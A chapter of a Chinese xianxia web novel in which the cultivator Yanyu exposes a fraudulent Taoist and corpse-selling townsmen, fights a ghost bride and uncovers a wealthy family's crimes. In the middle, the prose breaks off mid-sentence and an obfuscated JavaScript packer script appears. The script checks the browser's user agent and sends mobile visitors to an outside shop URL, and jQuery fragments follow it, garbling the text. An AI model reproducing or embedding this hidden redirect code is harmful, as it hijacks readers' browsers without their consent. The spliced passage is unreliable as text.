彦瑜进入林中,凭空出现一般,眼前忽然火光一现,他急忙刹住脚步,弯身道:“老人家,我赶路,可是吓着你了?”
“没有没有。”老者顿住的身形缓和下来,他举着火把,摆手道:“你急着去做甚啊?哎呀,我告诉你啊,这片林子凶得狠捏,里头经常有鬼呢!我刚还碰着一个,那鬼可难看了……唉,惨不忍睹哇。你要是没什么事就赶紧走吧,我看你好好一个人,瞧着面善,才提醒你的,啊,快走吧。”
“多谢你提醒,实不相瞒,我就是去捉鬼的,还劳你将那鬼的去向告知我。”
“哦,你是道士啊!还巧刚还有人带着道士往那边去了,我腿脚慢,没跟上,看那派头应该也是去捉鬼的。”
“………道士算是吧。”彦瑜微微一笑,一摸腰封,只有一张防御的符纸,他将符纸递过去,道:“这个你拿着,赶紧回去,我好歹能捉鬼这你就收着吧。”
老者神色微滞,深深看了他一眼。彦瑜察觉有异,然而那抹异色转瞬即逝,老者接过符纸,和蔼道:“多谢了,善人。”
彦瑜道了一声客气,便顺着老者指的方向去了。
方才那个老人家腿脚不便,是怎么到这的,也不见拄拐,真是奇怪了。彦瑜疾步到了树边,想了想回首一看,哪里还有什么老者身影。
锣鼓一阵响,紧接着林子回荡起嚷嚷声,一下子就热闹了起来。
“道长好能耐,回头将这些尸体带回去,还不是要大赚一笔,就不信这些富商不要,他们最讲究风水,最忌讳家有野尸,到时候价钱还不是随我们开,哈哈哈哈哈……”
“道长,怎么才见着两具啊,不是说只要你罗盘指哪哪就能破吗?怎么其他的还没有找见。我可告诉你啊,人家官府现在闹翻天了,说什么要重新查凶案,给大家个交代,我估摸着又是假的,哪次不是走个过场,草草了结?你说是吧!这些尸体他肯定也不在意,最近莫名其妙死的人多了,还有一也夜就不见的人也多了去,谁在乎呢!”
“是是是,干完这笔生意,咱也算富人了,以后就金盆洗手,不做这买卖了。到时候再改名换姓,娶妻生子,谁还知道我们之前是做什么的,是吧!老葛。”
“豁哟,莫说了,悄悄的,好不容易避开那群人,待会儿把人引过来噻咋个整哟,话多。”
“哥嘎,他们在后面嘛,吹锣打鼓的哪个听得见嘛?也是一群愚夫,哄一哈就屁颠屁颠的跟着来捉鬼了,嘿嘿嘿,你说嘛,幸亏没长脑子哈。”
“道长道长,你快过来瞧瞧,这尸体怎个有些怪,脑阔上贴之个给是有什么说法嘎,我们给是闯祸喽!?”
“咦?怎么不出声?”
“是,闯祸了。”彦瑜将那黄衣道士押了过来,站在蹲在树根旁捣鼓的两人身后,幽冷幽冷地道:“晚上他们会来找你们用膳。”
头巾缠头的络腮胡子和脸庞长痘的小杆子缓缓转过头,就见着彦瑜对他们微笑,登时毛骨悚然,吓得倒跌,“啊!”两声,魂不附体满地打滚,边滚边骂。
“我呸了,你他娘的是不是有病!”
“呕呕呕……哇,恶心死了……”
他们一不小心跌在倚靠在树的尸体上,抹上了不少尸液和污血,双手满地擦,还止不住狂吐,边吐还边骂。
黄袍道士一手持罗盘,一手法绳桃木剑,皱了皱眉,道:“定身术解开吧,我们也只是谋个生计,何苦为难?”
彦瑜微笑,抬手点了道士的穴位道:“你们见着鬼没有?”
道士耸了耸肩,道:“没有。这镇子里倒是听人说有鬼,只不过我们没见着,我也不是什么道士,骗骗钱而已,只会三脚猫的功夫,你放了我吧!”他指着地上伏着的人,道:“他们可是镇子里的人,你要问什么都找他们,跟我可没关系呀?”
“你们起来。”彦瑜冷冷看着黄袍道士,道:“待会儿你看好他们,别让人乱跑,还有那边那些人也看好了。你不是有三脚猫功夫吗?应该绰绰有余了。”
道士身躯一震,道:“你们两个别乱跑噢。”
“你他娘的骗子!有脸了,啊呸!”
黄袍道士一脸的无所谓,拿着法器的手一摊,道:“有脸还骗你们干啥?不长脑子!”
“你……呕…哇……”
“道长道长!”
“老葛我扶你,先别说了。”
“哎哟!道长可找着你了,你怎么在这呢,我们呐可是等了好一会儿了,怎么样,邪祟引出来了吧。”那砍刀头的男子一脸骄傲求夸奖地叫道:“我们可是按照你的指示,围着那可老槐树跳了好几圈呢!”
黄袍道士胡乱道:“好好好,做得好。”
彦瑜在一旁看他,觉得果然人不可貌相,这黄袍道士面容清秀,怎么看也不是个招摇撞骗的人。
还不待黄袍道士夸完,砍刀头一脸笑容道:“道长,我可是听说了,陶员外家从灵山派请了仙人来,那仙人啥本事也没有,进了一趟林子就被吓回山去了,还是你厉害啦,要是我们再跳跳,是不是那邪祟直接就给灭了哇!”
彦瑜当即就将一个眼刀甩了过去,飞身而去。砍刀头睁大眼睛,惊叹一声。黄袍道士心虚,但又无奈,他还得守着这群人,只得对着砍刀头笑笑,赧然道:“是,你们再跳一跳。”
“跳多久?”
他将罗盘收进怀中,一脸高深莫测,掐指道:“呃……我夜观天象,还需再跳一个时辰。”
头顶枝丫错杂遮住了头顶,望不见星空。所幸砍刀头没有觉得哪里不对劲,也没抬眼看将眼睛一眯,笑嘻嘻道:“飞走的那个是什么人,瞧着人冷,是不是道长你的同门?”
“……不是。”黄袍道士道:“回去将我的话告知他们。”他砍刀头应下离去,方才进了灌木丛的络腮胡子和长毛痘钻出来,对着正在擦额的道士,极其恶劣地道:“真不要脸,哈呸!”
“喂!我好歹也是帮了你们忙了,三脚猫功夫怎么了,我又不是专门干这个的,看了两眼书就急匆匆赶来,还破了那么多法阵,怎么说我好歹也是天赋异禀吧!”
长毛痘:“呸!去你的天赋异禀,晦气,还钱!快点啊,磨蹭什么?”
络腮胡子伸手:“快点还钱!”
两人正要再说下去,忽然觉得唇上一紧,说不出话来。黄袍道士左顾右盼,确定四周没有人才松下一口气,拍拍自己的胸脯,道:“这可不该怪我,谁让你们一直叨叨,要是让别人听到了,我面子往哪搁啊?你们一传十十传百,闹得沸沸扬扬,给上面那几个家伙知道,不得笑死我,所以,就麻烦你们先闭嘴。”
道士摸了摸下巴,像是想到了什么。又道:“我觉得不保险,你们还是忘掉要好一些,这样就没人知道啦。”他拍手道:“哎呀,我真是太聪明了,嘻嘻,唉,你们别跑啊,呜呜叫什么,我又不会吃了你们。”
他嘀咕一声,道:“真麻烦,我说话怎么就不听呢,都怪你们。”
黄袍道士抬手冲着两人跑的方向一指,见两人动弹不得。笑呵呵地缓步走了过去,绕着两人走了一圈,一人一个脑瓜崩,饶有兴致道:“这不就好了嘛。早这样就更好了呢。”
又是两指过去,两人眼神呆滞一瞬,又恢复过来,懵然道:“道长?”
“嗯。怎么了?”
“尸体藏到哪里去?虽然找着了,但难免有其他人捡去。”
“是嘎。”
道士点点头,道:“嗯。说的有理,你们先回老槐树那盯着他们,尸体我帮你看着。倒是银两五五分。”
“这……怎行?”
黄袍倒是看着两人,许是有些过意不去,松了一口,道:“那三七分总可以了吧。你们三我七。”
“什么!”
“哦哦。不好意思,嘴瓢了,我三你们七,不二价,再说老子不干了。”
“好好好……”
“行了,这下可
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309655|152320||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
以回去吧。”
看人走远,黄袍道士呼出一口气,道:“真是麻烦死了,早知道就不来了。等等,他哪去了,真是的,慢一点又不会死人,这破衣服也太难看了,早知道就不穿了。”
人群嚷嚷:“大伙快上,咱们也算是除祟了!”
“冲呀!”
彦瑜看着一众人不要命的朝着厉鬼冲去,劝也劝不住,就飞身过去,挡在了前面同厉鬼交手。
一男子道:“哎哟!厉害啊,别说那鬼指甲还挺好看的!又红又锋利,切菜好使。”
又一人道:“这新娘子瞧着也好看,就是手脚不太好使,不然指不定……”
一人穿着粉衣,道“想什么呢,那东西你们也惦记。”
“哎呀!我的眼睛!快从我面前滚开,男扮女装,你太恶心了!”
“说谁丑呢,本大人貌美如花。”
粉衣人掏出镜子,立刻有人看傻子一样地远离他,面上骇然。因为天还没亮,看不清。他也不在意,将铜镜收回去,叹道:“哎呀,年龄大了,忘性也大,弄错了。”
他一说话,脸上的脂粉就扑簌扑簌的往下掉。忽然听到彦瑜传音:“你在做什么?还不动手?”
“哎哟,怎么还急了?”粉衣人拍拍裙子,一掌过去,道:“你们要去除祟吗?,我送你们一程,很快的。”
十几颗环抱的树木拦腰截断,众人立刻惊恐的往后退作鸟兽散,咆哮道:“鬼啊!都不是人,我们快跑,他们说的是真的,那灵山派的仙人早被妖怪吃了!”
“是啊是啊,衙门都慌了,连夜要道歉呢。”
众人跑远,粉衣男子道:“记得给我报酬,我可是帮了你大忙呢!”
彦瑜道:“没钱。”
“没钱那就算了,我先回去了啊,下次再来找你玩儿。”
彦瑜道:“招摇撞骗。”
粉衣男子脚下一个趔趄,险些崴脚,看着彦瑜传音道:“你看出来啊,我还以为天衣无缝呢,再见!别打我。”
树林里一片狼藉,彦瑜将洛凉笛扶住,给他疗伤,道:“下次不要误闯过来。”
“是,师尊。”
南熙道:“师尊,那陶员外怎么办?”
彦瑜看了一眼地上的人,道:“咎由自取,你们看着办。对了陶家其他人可有受伤?”
“师尊放心,无人伤亡。我们将陶员外送回去时,宅院里的人一早就被陶夫人遣散了,只是分头行动时,没有防住让鬼怪将人劫了过来,是弟子的错。”
彦瑜道:“不怪你。府衙那边的事如何?”
洛凉笛拱手,恭敬道:“师尊,剩下的那三位死者一个月前和陶家公子参与了一场冥婚,冥婚的女子正是这位新娘,恰巧他们是主办者,而其余数人只是当时入了场,一路观看。还有陶家手上命案不止这一件,当时府官递来的卷宗上记载十年前,农家张氏四口之家三死一伤,还又一位吴姓男子被打死。”
“嗯,知道了。你们先将人送回陶家,为师还有事要办。”
彦瑜将奉南棺里的尸骨带过来,找了块地,将新娘和白骨合葬,又将他兄长的尸骨葬在一旁,也算是兑现了承诺。
回到陶宅时,陶夫人泪流满面,愤怒道:“挨了天杀的,多管闲事,好好的将那祸害除了不好,偏要查偏要查,你们滚!”
彦瑜也没有好颜色道:“好自为之。”
衣袖一甩,头也不回的就塌出了陶家大宅。次日一早官府便抄了陶家,拿人归案。
午时,林中的尸体依次被运回镇中,交到了府衙。
走在街上,南熙道:“师尊,你的伤还没有处理。师兄也受伤了,不如先回驿站处理一下,晚些再回去。”
洛凉笛道:“是啊,师尊,你伤得的确很重。”
不说彦瑜还没有感觉,一说还真觉得有些疼,他看看洛凉笛被抓伤的手臂,淡淡点头,道:“也好,那便晚些回去。”